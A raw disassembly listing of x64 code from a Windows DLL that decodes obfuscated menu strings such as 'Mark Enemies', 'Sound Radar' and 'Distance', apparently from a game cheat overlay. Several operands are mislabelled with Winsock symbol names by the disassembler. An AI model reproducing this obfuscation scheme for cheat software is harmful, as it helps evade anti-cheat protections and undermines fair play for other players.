movzx r14d, al
mov cl, 0x64
call fcn.18001dba0
movzx esi, al
mov cl, 0x61
call fcn.18001dba0
movzx edi, al
mov cl, WSAStartup
call fcn.18001dba0
movzx ebx, al
xor ecx, ecx
call fcn.18001dba0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x3a0], cl
mov byte [rbp + 0x3a1], r13b
mov byte [rbp + 0x3a2], r12b
mov byte [rbp + 0x3a3], r15b
mov byte [rbp + 0x3a4], r14b
mov byte [rbp + 0x3a5], sil
mov byte [rbp + 0x3a6], dil
mov byte [rbp + 0x3a7], bl
mov byte [rbp + 0x3a8], al
lea rcx, [rbp + 0x1cf8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1cf8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x3a0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.18001dba0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1cf8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2330
lea rcx, [rbp + 0x1cf8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e497a]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1cf8]
call fcn.180011f20
movss xmm7, dword [0x1801ce7e4]
cmp byte [0x1805e497a], sil
je 0x1800d2c9c
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm8
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc08], xmm0
mov word [rbp + 0xc18], ax
mov byte [rbp + 0xc1a], al
mov cl, 0x20
call fcn.180014700
mov byte [rsp + 0x50], al
mov cl, 0x4d
call fcn.180014700
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.180014700
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.180014700
mov byte [rsp + 0x53], al
mov cl, 0x6b
call fcn.180014700
mov byte [rsp + 0x54], al
mov cl, 0x20
call fcn.180014700
mov byte [rsp + 0x55], al
mov cl, 0x45
call fcn.180014700
mov byte [rsp + 0x56], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014700
mov byte [rsp + 0x57], al
mov cl, 0x69
call fcn.180014700
mov byte [rsp + 0x58], al
mov cl, 0x63
call fcn.180014700
mov byte [rsp + 0x59], al
mov cl, 0x20
call fcn.180014700
mov byte [rsp + 0x5a], al
mov cl, 0x57
call fcn.180014700
movzx r13d, al
mov cl, 0x65
call fcn.180014700
movzx r12d, al
mov cl, 0x61
call fcn.180014700
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014700
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014700
movzx esi, al
mov cl, WSAGetLastError
call fcn.180014700
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014700
movzx ebx, al
xor ecx, ecx
call fcn.180014700
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xc08], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xc09], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xc0a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xc0b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xc0c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xc0d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xc0e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xc0f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xc10], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xc11], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xc12], cl
mov byte [rbp + 0xc13], r13b
mov byte [rbp + 0xc14], r12b
mov byte [rbp + 0xc15], r15b
mov byte [rbp + 0xc16], r14b
mov byte [rbp + 0xc17], sil
mov byte [rbp + 0xc18], dil
mov byte [rbp + 0xc19], bl
mov byte [rbp + 0xc1a], al
lea rcx, [rbp + 0x1d18]
call fcn.180011f00
mov dword [rsp + 0x5c], 1
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_send
mov edx, ebx
lea rcx, [rbp + 0x1d18]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xc08]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.180014700
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1d18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2580
lea rcx, [rbp + 0x1d18]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e497b]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1d18]
call fcn.180011f20
movaps xmm0, xmm8
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x300], rax
mov word [rbp + 0x308], ax
mov byte [rbp + 0x30a], al
mov cl, 0x20
call fcn.18001b160
mov byte [rsp + 0x50], al
mov cl, 0x4d
call fcn.18001b160
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.18001b160
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.18001b160
movzx r13d, al
mov cl, 0x6b
call fcn.18001b160
movzx r12d, al
mov cl, 0x20
call fcn.18001b160
movzx r15d, al
mov cl, 0x4e
call fcn.18001b160
movzx r14d, al
mov cl, 0x61
call fcn.18001b160
movzx esi, al
mov cl, 0x6d
call fcn.18001b160
movzx edi, al
mov cl, 0x65
call fcn.18001b160
movzx ebx, al
xor ecx, ecx
call fcn.18001b160
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x300], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x301], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x302], cl
mov byte [rbp + 0x303], r13b
mov byte [rbp + 0x304], r12b
mov byte [rbp + 0x305], r15b
mov byte [rbp + 0x306], r14b
mov byte [rbp + 0x307], sil
mov byte [rbp + 0x308], dil
mov byte [rbp + 0x309], bl
mov byte [rbp + 0x30a], al
lea rcx, [rbp + 0x1d38]
call fcn.180011f00
mov dword [rsp + 0x5c], 2
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x1d38]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x300]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.18001b160
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1d38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2700
lea rcx, [rbp + 0x1d38]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e497e]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1d38]
call fcn.180011f20
movaps xmm0, xmm8
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x310], rax
mov word [rbp + 0x318], ax
mov byte [rbp + 0x31a], al
mov cl, 0x20
call fcn.1800148d0
mov byte [rsp + 0x50], al
mov cl, 0x4d
call fcn.1800148d0
mov byte [rsp + 0x51], al
mov cl, 0x61
call fcn.1800148d0
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.1800148d0
movzx r13d, al
mov cl, 0x6b
call fcn.1800148d0
movzx r12d, al
mov cl, 0x20
call fcn.1800148d0
movzx r15d, al
mov cl, 0x44
call fcn.1800148d0
movzx r14d, al
mov cl, 0x65
call fcn.1800148d0
movzx esi, al
mov cl, 0x61
call fcn.1800148d0
movzx edi, al
mov cl, 0x64
call fcn.1800148d0
movzx ebx, al
xor ecx, ecx
call fcn.1800148d0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x310], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x311], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x312], cl
mov byte [rbp + 0x313], r13b
mov byte [rbp + 0x314], r12b
mov byte [rbp + 0x315], r15b
mov byte [rbp + 0x316], r14b
mov byte [rbp + 0x317], sil
mov byte [rbp + 0x318], dil
mov byte [rbp + 0x319], bl
mov byte [rbp + 0x31a], al
lea rcx, [rbp + 0x1d58]
call fcn.180011f00
mov dword [rsp + 0x5c], 4
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x1d58]
call fcn.180014330
xor r15d, r15d
mov edi, r15d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x310]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.1800148d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1d58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2880
lea rcx, [rbp + 0x1d58]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e497d]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1d58]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x43e0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xd0], ax
mov cl, 0x78
call fcn.1800ed790
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.1800ed790
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xd0], ax
lea rcx, [rbp + 0x1d98]
call fcn.180011f00
mov dword [rsp + 0x5c], 8
xor r8d, r8d
lea edx, [rsi + 2]
lea rcx, [rbp + 0x1d98]
call fcn.180014330
mov rdi, r15
mov esi, 2
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xd0]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.1800ed790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1d98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2980
lea rcx, [rbp + 0x1d98]
call fcn.1800143e0
mov r12, rax
xor eax, eax
mov dword [rbp - 0x40], eax
mov byte [rbp - 0x3c], al
mov cl, 0x5a
call fcn.1800567b0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567b0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567b0
movzx edi, al
mov cl, 0x6d
call fcn.1800567b0
movzx ebx, al
xor ecx, ecx
call fcn.1800567b0
mov byte [rbp - 0x40], r14b
mov byte [rbp - 0x3f], sil
mov byte [rbp - 0x3e], dil
mov byte [rbp - 0x3d], bl
mov byte [rbp - 0x3c], al
lea rcx, [rbp + 0x1d78]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x18
xor r8d, r8d
mov r13d, 5
mov edx, r13d
lea rcx, [rbp + 0x1d78]
call fcn.180014330
mov rdi, r15
mov esi, r13d
nop
mov rdx, rdi
lea rcx, [rbp - 0x40]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800567b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1d78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2a40
lea rcx, [rbp + 0x1d78]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov qword [rsp + 0x20], r12
movaps xmm3, xmm7
movss xmm14, dword [0x1801ce5d0]
movaps xmm2, xmm14
lea rdx, [0x1801f7078]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x1d78]
call fcn.180011f20
nop
lea rcx, [rbp + 0x1d98]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x43e8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp - 0x44], ax
mov byte [rbp - 0x42], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014680
movzx edi, al
mov cl, 0x78
call fcn.180014680
movzx ebx, al
xor ecx, ecx
call fcn.180014680
mov byte [rbp - 0x44], dil
mov byte [rbp - 0x43], bl
mov byte [rbp - 0x42], al
lea rcx, [rbp + 0x1dd8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40
xor r8d, r8d
mov ebx, 3
mov edx, ebx
lea rcx, [rbp + 0x1dd8]
call fcn.180014330
mov rdi, r15
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp - 0x44]
call fcn.18001e4e0
movzx ecx, byte [rax]
call fcn.180014680
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1dd8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2b60
lea rcx, [rbp + 0x1dd8]
call fcn.1800143e0
mov r12, rax
xor eax, eax
mov dword [rbp + 0x28], eax
mov byte [rbp + 0x2c], al
mov cl, 0x53
call fcn.180014680
movzx r14d, al
mov cl, 0x69
call fcn.180014680
movzx esi, al
mov cl, 0x7a
call fcn.180014680
movzx edi, al
mov cl, 0x65
call fcn.180014680
movzx ebx, al
xor ecx, ecx
call fcn.180014680
mov byte [rbp + 0x28], r14b
mov byte [rbp + 0x29], sil
mov byte [rbp + 0x2a], dil
mov byte [rbp + 0x2b], bl
mov byte [rbp + 0x2c], al
lea rcx, [rbp + 0x1db8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0xc0
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp + 0x1db8]
call fcn.180014330
mov rdx, r15
lea rcx, [rbp + 0x28]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.180014680
movzx ebx, al
mov rdx, r15
lea rcx, [rbp + 0x1db8]
call fcn.180014c80
mov byte [rax], bl
inc r15
sub r13, 1
jne 0x1800d2c10
lea rcx, [rbp + 0x1db8]
call fcn.1800143e0
mov byte [rsp + 0x28], r13b
mov qword [rsp + 0x20], r12
movss xmm3, dword [0x1801ce888]
movss xmm2, dword [0x1801ce84c]
lea rdx, [0x1801f707c]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x1db8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x1dd8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
jmp 0x1800d2ca5
movss xmm14, dword [0x1801ce5d0]
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0x5b0], rax
mov dword [rbp + 0x5b8], eax
mov byte [rbp + 0x5bc], al
mov cl, 0x53
call fcn.180056860
mov byte [rsp + 0x50], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056860
mov byte [rsp + 0x51], al
mov cl, 0x75
call fcn.180056860
mov byte [rsp + 0x52], al
mov cl, WSAGetLastError
call fcn.180056860
mov byte [rsp + 0x53], al
mov cl, 0x64
call fcn.180056860
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056860
movzx r13d, al
mov cl, 0x20
call fcn.180056860
movzx r12d, al
mov cl, 0x52
call fcn.180056860
movzx r15d, al
mov cl, 0x61
call fcn.180056860
movzx r14d, al
mov cl, 0x64
call fcn.180056860
movzx esi, al
mov cl, 0x61
call fcn.180056860
movzx edi, al
mov cl, WSAStartup
call fcn.180056860
movzx ebx, al
xor ecx, ecx
call fcn.180056860
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x5b0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x5b1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x5b2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x5b3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x5b4], cl
mov byte [rbp + 0x5b5], r13b
mov byte [rbp + 0x5b6], r12b
mov byte [rbp + 0x5b7], r15b
mov byte [rbp + 0x5b8], r14b
mov byte [rbp + 0x5b9], sil
mov byte [rbp + 0x5ba], dil
mov byte [rbp + 0x5bb], bl
mov byte [rbp + 0x5bc], al
lea rcx, [rbp + 0x1df8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x1df8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x5b0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.180056860
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1df8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d2df0
lea rcx, [rbp + 0x1df8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4978]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1df8]
call fcn.180011f20
movss xmm1, dword [0x1801ce7cc]
movaps xmm0, xmm15
call fcn.180076ad0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb0], xmm0
mov dword [rbp + 0xcc0], eax
mov byte [rbp + 0xcc4], al
mov cl, 0x23
call fcn.180014740
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180014740
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180014740
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.180014740
mov byte [rsp + 0x53], al
mov cl, 0x64
call fcn.180014740
mov byte [rsp + 0x54], al
mov cl, 0x61
call fcn.180014740
mov byte [rsp + 0x55], al
mov cl, WSAStartup
call fcn.180014740
mov byte [rsp + 0x56], al
mov cl, 0x5f
call fcn.180014740
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014740
mov byte [rsp + 0x58], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014740
mov byte [rsp + 0x59], al
mov cl, 0x75
call fcn.180014740
mov byte [rsp + 0x5a], al
mov cl, WSAGetLastError
call fcn.180014740
mov byte [rsp + 0x60], al
mov cl, 0x64
call fcn.180014740
mov byte [rsp + 0x61], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014740
movzx r13d, al
mov cl, 0x5f
call fcn.180014740
movzx r12d, al
mov cl, 0x63
call fcn.180014740
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014740
movzx r14d, al
mov cl, 0x6c
call fcn.180014740
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014740
movzx edi, al
mov cl, WSAStartup
call fcn.180014740
movzx ebx, al
xor ecx, ecx
call fcn.180014740
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xcb0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xcb1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xcb2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xcb3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xcb4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xcb5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xcb6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xcb7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xcb8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xcb9], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xcba], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xcbb], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xcbc], cl
mov byte [rbp + 0xcbd], r13b
mov byte [rbp + 0xcbe], r12b
mov byte [rbp + 0xcbf], r15b
mov byte [rbp + 0xcc0], r14b
mov byte [rbp + 0xcc1], sil
mov byte [rbp + 0xcc2], dil
mov byte [rbp + 0xcc3], bl
mov byte [rbp + 0xcc4], al
lea rcx, [rbp + 0x1e18]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000
xor r8d, r8d
mov edi, reloc.WS2_32.dll_setsockopt
mov edx, edi
lea rcx, [rbp + 0x1e18]
call fcn.180014330
xor esi, esi
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xcb0]
call fcn.180014590
movzx ecx, byte [rax]
call fcn.180014740
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1e18]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800d3050
lea rcx, [rbp + 0x1e18]
call fcn.1800143e0
mov rcx, rax
mov r8d, 0x304e2
lea rdx, [0x1805dde88]
call fcn.18009e200
nop
lea rcx, [rbp + 0x1e18]
call fcn.180011f20
cmp byte [0x1805e4978], dil
je 0x1800d354d
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm8
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc20], xmm0
mov word [rbp + 0xc30], ax
mov byte [rbp + 0xc32], al
mov cl, 0x20
call fcn.18001b160
mov byte [rsp + 0x50], al
mov cl, 0x47
call fcn.18001b160
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.18001b160
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.18001b160
mov byte [rsp + 0x53], al
mov cl, 0x64
call fcn.18001b160
mov byte [rsp + 0x54], al
mov cl, 0x69
call fcn.18001b160
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.18001b160
mov byte [rsp + 0x56], al
mov cl, WSAGetLastError
call fcn.18001b160
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001b160
mov byte [rsp + 0x58], al
mov cl, 0x20
call fcn.18001b160
mov byte [rsp + 0x59], al
mov cl, 0x44
call fcn.18001b160
mov byte [rsp + 0x5a], al
mov cl, 0x69
call fcn.18001b160
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.18001b160
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001b160
movzx r15d, al
mov cl, 0x61
call fcn.18001b160
movzx r14d, al
mov cl, WSAGetLastError
call fcn.18001b160
movzx esi, al
mov cl, 0x63
call fcn.18001b160
movzx edi, al
mov cl, 0x65
call fcn.18001b160
movzx ebx, al
xor ecx, ecx
call fcn.18001b160
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xc20], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xc21], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xc22], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xc23], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xc24], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xc25], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xc26], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xc27], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xc28], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xc29], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xc2a], cl
mov byte [rbp + 0xc2b], r13b
mov byte [rbp + 0xc2c], r12b
mov byte [rbp + 0xc2d], r15b
mov byte [rbp + 0xc2e], r14b
mov byte [rbp + 0xc2f], sil
mov byte [rbp + 0xc30], dil
mov byte [rbp + 0xc31], bl
mov byte [rbp + 0xc32], al
lea rcx, [rbp + 0x1e38]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x100
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_send
mov edx, ebx
lea rcx, [rbp + 0x1e38]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xc20]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.18001b160
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1e38]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d32a0
lea rcx, [rbp + 0x1e38]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e497f]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1e38]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x43f0]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
subss xmm0, xmm7
call fcn.180076bd0
xor eax, eax
mov word [rbp + 0xd4], ax
mov cl, 0x6d
call fcn.180014910
mov byte [rsp + 0x5c], al
xor ecx, ecx
call fcn.180014910
mov byte [rsp + 0x5d], al
movzx eax, word [rsp + 0x5c]
mov word [rbp + 0xd4], ax
lea rcx, [rbp + 0x1e78]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20
xor r8d, r8d
lea edx, [r14 + 2]
lea rcx, [rbp + 0x1e78]
call fcn.180014330
lea esi, [r14 + 2]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xd4]
call fcn.180056ef0
movzx ecx, byte [rax]
call fcn.180014910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1e78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d33a0
lea rcx, [rbp + 0x1e78]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x3b0], rax
mov byte [rbp + 0x3b8], al
mov cl, 0x44
call fcn.180014730
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180014730
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014730
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014730
movzx r15d, al
mov cl, 0x61
call fcn.180014730
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014730
movzx esi, al
mov cl, 0x63
call fcn.180014730
movzx edi, al
mov cl, 0x65
call fcn.180014730
movzx ebx, al
xor ecx, ecx
call fcn.180014730
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x3b0], cl
mov byte [rbp + 0x3b1], r13b
mov byte [rbp + 0x3b2], r12b
mov byte [rbp + 0x3b3], r15b
mov byte [rbp + 0x3b4], r14b
mov byte [rbp + 0x3b5], sil
mov byte [rbp + 0x3b6], dil
mov byte [rbp + 0x3b7], bl
mov byte [rbp + 0x3b8], al
lea rcx, [rbp + 0x1e58]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x1e58]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x3b0]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180014730
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1e58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d34c0
lea rcx, [rbp + 0x1e58]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movss xmm3, dword [0x1801ce898]
movaps xmm2, xmm15
lea rdx, [0x1801f7080]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x1e58]
call fcn.180011f20
nop
lea rcx, [rbp + 0x1e78]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180075800
call fcn.180070430
movaps xmm0, xmm12
call fcn.180076c20
lea rcx, [rbp + 0x43f8]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm10
call fcn.180076bd0
lea rcx, [rbp + 0x4400]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
subss xmm6, xmm10
lea rcx, [rbp + 0x4408]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm12
movaps xmm2, xmm6
lea rcx, [rbp + 0x4410]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x9c0], rax
mov dword [rbp + 0x9c8], eax
mov cl, 0x23
call fcn.1800567a0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800567a0
mov byte [rsp + 0x51], al
mov cl, 0x63
call fcn.1800567a0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567a0
mov byte [rsp + 0x53], al
mov cl, 0x6c
call fcn.1800567a0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567a0
movzx r12d, al
mov cl, WSAStartup
call fcn.1800567a0
movzx r15d, al
mov cl, 0x5f
call fcn.1800567a0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567a0
movzx esi, al
mov cl, 0x61
call fcn.1800567a0
movzx edi, al
mov cl, 0x62
call fcn.1800567a0
movzx ebx, al
xor ecx, ecx
call fcn.1800567a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x9c0], cl
movzx ecx, byte [rsp + 0x51]
